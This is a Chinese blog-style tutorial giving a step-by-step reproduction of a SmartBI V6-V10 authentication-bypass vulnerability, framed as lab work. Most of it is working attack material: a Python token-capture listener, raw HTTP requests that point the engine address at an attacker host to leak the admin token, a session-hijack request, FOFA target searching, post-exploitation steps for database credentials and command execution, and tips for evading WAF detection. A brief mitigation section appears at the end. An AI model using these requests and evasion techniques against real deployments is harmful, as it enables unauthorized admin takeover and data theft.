news 2026/5/30 14:30:10

手把手复现SmartBI权限绕过漏洞(V6-V10),从获取token到接管后台的完整过程

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
手把手复现SmartBI权限绕过漏洞(V6-V10),从获取token到接管后台的完整过程

实战复现SmartBI权限绕过漏洞:从Token获取到后台接管全流程解析

在企业级数据分析平台中,权限控制是安全架构的核心环节。近期曝光的SmartBI V6-V10版本权限绕过漏洞,因其利用链清晰且危害性高,成为安全研究人员关注的焦点。本文将采用实验室环境,逐步拆解漏洞利用的完整过程,帮助读者深入理解认证机制缺陷的实战利用方式。

1. 环境搭建与漏洞原理剖析

1.1 实验环境配置

复现漏洞需要准备以下组件:

  • SmartBI V10测试版(官方已停止旧版下载,可从镜像站获取历史版本)
  • Kali Linux攻击机(预装Python3、Burp Suite)
  • 测试用Windows Server 2019主机
  • 网络拓扑需确保攻击机与靶机双向可达

关键配置参数

组件版本要求备注
SmartBI6.0 ≤ 版本 ≤ 10.0需关闭自动更新
Java环境JDK 8u201避免高版本兼容性问题
Web容器Tomcat 9.0.40需禁用PUT/DELETE方法

注意:实验环境应使用NAT网络隔离,避免意外暴露到公网。实际测试时,建议在虚拟机快照后操作。

1.2 漏洞形成机制

该漏洞本质是API接口的认证逻辑缺陷。监控模块的/smartbix/api/monitor接口未校验调用者身份,导致攻击者可:

  1. 篡改内部引擎地址指向恶意服务器
  2. 诱导系统向攻击者服务器发送认证Token
  3. 通过Token反连获取管理员会话
# 漏洞触发流程图 1. 未授权访问监控API → 2. 修改engineAddress参数 → 3. 系统主动连接攻击者主机 → 4. 泄漏Token信息 → 5. 会话劫持

2. 漏洞利用链分步实施

2.1 初始信息收集

使用FOFA引擎识别潜在目标(实验环境需手动部署):

# FOFA语法示例(实际测试请替换为内网IP) app="SMARTBI" && country="CN"

通过目录扫描发现关键接口:

/smartbi/smartbix/api/monitor/engineInfo /smartbi/smartbix/api/monitor/token

2.2 搭建恶意监听服务

编写Python HTTP服务器接收Token:

from http.server import BaseHTTPRequestHandler, HTTPServer import json class TokenHandler(BaseHTTPRequestHandler): def do_POST(self): content_len = int(self.headers.get('Content-Length')) post_data = self.rfile.read(content_len) print(f"\n[+] Received Token: {post_data.decode()}") self.send_response(200) self.send_header('Content-type', 'application/json') self.end_headers() self.wfile.write(json.dumps({"status":"success"}).encode()) if __name__ == '__main__': server = HTTPServer(('0.0.0.0', 8000), TokenHandler) print("[*] Token listener started on port 8000") server.serve_forever()

保存为token_server.py后执行:

python3 token_server.py

2.3 分阶段攻击实施

第一阶段:重定向引擎地址

POST /smartbi/smartbix/api/monitor/setEngineAddress HTTP/1.1 Host: 192.168.1.100 Content-Type: application/json Content-Length: 38 {"address":"http://攻击者IP:8000"}

第二阶段:触发Token泄漏

等待约30秒后,系统会自动向攻击者服务器发送心跳包,其中包含认证Token。观察Python服务端输出:

[+] Received Token: {"token":"eyJhbG...","user":"admin"}

第三阶段:会话劫持

使用获取的Token构造管理会话:

POST /smartbi/smartbix/api/monitor/login HTTP/1.1 Host: 192.168.1.100 Content-Type: application/json Cookie: SMARTBI_TOKEN=eyJhbG... {"action":"validate"}

成功响应后将返回管理员权限的JSESSIONID。

3. 权限维持与防御绕过

3.1 后台功能探查

获取管理员权限后,可执行以下高危操作:

  • 数据源连接管理(直连数据库)
  • 报表模板上传(可能触发XXE)
  • 系统命令执行接口(部分版本存在)

典型后渗透路径

  1. 通过"系统管理 → 数据源配置"获取数据库凭证
  2. 利用"报表导入"功能上传恶意模板文件
  3. 访问/smartbi/servlet/DesignService执行系统命令

3.2 流量隐蔽技巧

为避免触发WAF规则,建议:

  • 对API路径进行URL编码
  • 使用合法的Referer头
  • 控制请求频率在5-10秒/次
POST /smartbi/smartbix%2fapi%2fmonitor%2fsetEngineAddress HTTP/1.1 Referer: https://192.168.1.100/smartbi/vision/index.jsp

4. 防御方案与检测建议

4.1 临时缓解措施

对于无法立即升级的系统,建议:

  1. 网络层控制:

    • 限制/smartbix/api/monitor接口的访问IP
    • 出站流量白名单控制
  2. 应用层加固:

<!-- 在web.xml中添加 --> <security-constraint> <web-resource-collection> <url-pattern>/smartbix/api/monitor/*</url-pattern> </web-resource-collection> <auth-constraint> <role-name>admin</role-name> </auth-constraint> </security-constraint>

4.2 长期防护策略

  • 启用SmartBI的二次认证功能
  • 定期审计API接口权限
  • 部署RASP防护对异常Token生成行为进行阻断

在测试过程中发现,当系统配置了严格的CORS策略时,攻击链的成功率会显著降低。这提示我们在实际防御中,应组合多种安全机制形成纵深防护。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/30 14:30:00

外汇跟单避坑指南:MT4 API跟单系统中‘精确匹配’和‘禁用品种’的设置技巧与实战案例

外汇跟单避坑指南&#xff1a;MT4 API跟单系统中‘精确匹配’和‘禁用品种’的设置技巧与实战案例 在瞬息万变的外汇市场中&#xff0c;跟单交易已成为许多投资者提升效率的重要工具。然而&#xff0c;随着使用深度增加&#xff0c;中级用户往往会遇到一些令人头疼的问题——比…

作者头像 李华
网站建设 2026/5/30 14:28:48

树莓派+PCM5102+MPD搭建高保真数字音乐播放系统

1. 项目概述与核心价值 折腾树莓派音频系统&#xff0c;从蓝牙小音箱到USB声卡&#xff0c;我试过不少方案&#xff0c;但总感觉差点意思——要么音质不够纯净&#xff0c;有底噪&#xff1b;要么延迟太高&#xff0c;看视频对不上口型。直到我开始研究I2S接口和独立DAC&#x…

作者头像 李华
网站建设 2026/5/30 14:28:43

B站缓存视频永久保存完整指南:m4s-converter让你的珍藏永不丢失

B站缓存视频永久保存完整指南&#xff1a;m4s-converter让你的珍藏永不丢失 【免费下载链接】m4s-converter 一个跨平台小工具&#xff0c;将bilibili缓存的m4s格式音视频文件合并成mp4 项目地址: https://gitcode.com/gh_mirrors/m4/m4s-converter 你是否曾经打开B站收…

作者头像 李华
网站建设 2026/5/30 14:28:07

从向量到函数:用几何直觉理解傅里叶级数,告别公式恐惧

从向量到函数&#xff1a;用几何直觉理解傅里叶级数&#xff0c;告别公式恐惧记得第一次看到傅里叶级数展开式时&#xff0c;那一长串的积分符号和三角函数让我头皮发麻。直到某天&#xff0c;当我把它想象成"给函数做体检"的过程——用不同频率的"探针"&a…

作者头像 李华